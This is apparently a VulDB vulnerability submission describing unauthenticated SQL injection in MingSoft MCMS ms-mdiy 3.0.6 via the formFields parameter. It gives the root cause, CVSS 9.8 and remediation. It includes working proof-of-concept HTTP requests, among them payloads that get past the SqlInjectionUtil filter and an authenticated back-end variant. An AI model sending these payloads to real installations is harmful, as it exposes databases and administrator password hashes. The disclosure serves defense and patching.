| Titel | MingSoft ms-mdiy 3.0.6 SQL Injection |
|---|
| Beschreibung | ### 3.1 Suggested CVE Title
**MingSoft MCMS ms-mdiy: SQL injection via `formFields` parameter in custom form data query**
### 3.2 Description
The mdiy (custom module) component builds dynamic SQL when querying custom form data through `ModelDataImpl.queryDiyFormData()`. The request parameter `formFields` is not validated against an allowlist. Values are joined with `CollUtil.join()` and appended directly to the `SELECT` clause, resulting in SQL injection.
Two exploitation paths exist:
1. **Anonymous front-end path** (no authentication): `GET /mdiy/form/data/list.do`
- **Precondition:** target custom form has `modelJson.isWebSubmit = true`
- Payloads containing certain blacklisted keywords are blocked by `SqlInjectionUtil`, but expressions such as **`schema()`**, **`@@datadir`**, and **`concat()`** bypass the filter and return data in the response.
2. **Back-end path** (administrator login required): `GET|POST /ms/mdiy/form/data/queryData.do`
- Uses the same sink as the front-end path.
- `/ms/mdiy/form/**` is listed in the `exclude-url` whitelist of the XSS/SQL filter in `application.yml`, so **equivalent payloads are not filtered on the back end**, increasing impact (verified: `@@version` returned in response).
### 3.3 Root Cause
**Sink class:** `net.mingsoft.mdiy.biz.impl.ModelDataImpl`
**Method:** `queryDiyFormData(String modelId, Map<String, Object> params)`
Logic summary:
1. Reads `formFields` (List) from the request map.
2. If non-empty, `CollUtil.join(formFields, ",")` is appended between `SELECT` and `FROM`.
3. Unlike `sqlWhere` and `orderItems`, **no validation** is performed against the model `fieldMap`.
4. `orderBy` calls `SqlInjectionUtil.filterContent()`, but the rule only blocks input when **both** an SQL keyword and a special symbol are present; `union` is not in the keyword list, making the filter unreliable.
**Front-end entry point:** `net.mingsoft.mdiy.action.web.FormDataAction#list`
**Back-end entry point:** `net.mingsoft.mdiy.action.FormDataAction#queryData`
### 3.4 Impact
- Read arbitrary database contents (user tables, administrator password hashes, configuration, etc.).
- Potential data modification or further exploitation depending on database privileges and configuration.
- Anonymous exploitation from the public Internet requires only knowledge of `modelName` and a form with web access enabled.
### 3.5 CVSS 3.1 Vector (anonymous path, suggested)
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)
```
### 3.6 Reproduction Steps and PoC
**Precondition:** A custom form with `isWebSubmit=true` exists. On default installations, `modelName=liuyan` (guestbook / message board) satisfies this.
#### PoC A — Unauthenticated SQL injection (verified)
```http
GET /mdiy/form/data/list.do?modelName=liuyan&formFields=ID,schema() HTTP/1.1
Host: target:8080
```
**Expected response (excerpt):**
```json
{
"result": true,
"code": 200,
"data": {
"rows": [
{ "ID": "2069284506314330112", "schema()": "mcms" }
]
}
}
```
Other verified exfiltration payloads:
```http
formFields=ID,@@datadir → "/var/lib/mysql/"
formFields=ID,concat(1,2) → "12"
```
Examples blocked by the filter (demonstrates incomplete protection):
```http
formFields=ID,@@version
→ "This operation poses a security risk. See logs for details."
orderBy=updatexml(1,concat(0x7e,user()),1)
→ same error message
```
*(Actual message in Chinese: 此操作存在安全风险,具体请查看日志)*
#### PoC B — Authenticated back-end SQL injection (verified)
After logging in as an administrator:
```http
GET /ms/mdiy/form/data/queryData.do?modelId=2062803748896210946&formFields=ID,@@version HTTP/1.1
Host: target:8080
Cookie: SHIRO_SESSION_ID=<session>
```
**Expected response (excerpt):**
```json
{
"result": true,
"data": {
"rows": [
{ "ID": "...", "@@version": "8.4.10-0ubuntu0.26.04.1" }
]
}
}
```
### 3.7 Remediation
1. **Do not** concatenate user-controlled `formFields` into SQL. Allow only predefined fields from the model `fieldMap` and map them to column names via a strict allowlist.
2. Validate column names with a strict regex (e.g. `^[A-Za-z_][A-Za-z0-9_]*$`); reject function calls and expressions.
3. Remove or narrow the XSS/SQL filter exemption for `/ms/mdiy/form/**` in `application.yml`.
4. Unify front-end and back-end query logic; use parameterized queries or ORM everywhere; avoid string concatenation.
5. Apply the same validation rigor to other dynamic SQL features (`orderBy`, `sqlWhere`, etc.).
--- |
|---|
| Benutzer | murkfox (UID 15240) |
|---|
| Einreichung | 23.06.2026 07:38 (vor 2 Monaten) |
|---|
| Moderieren | 08.08.2026 20:44 (2 months later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 387209 [MingSoft MCMS bis 3.0.6 ms-mdiy /mdiy/form/data/list.do ModelDataImpl.queryDiyFormData formFields SQL Injection] |
|---|
| Punkte | 17 |
|---|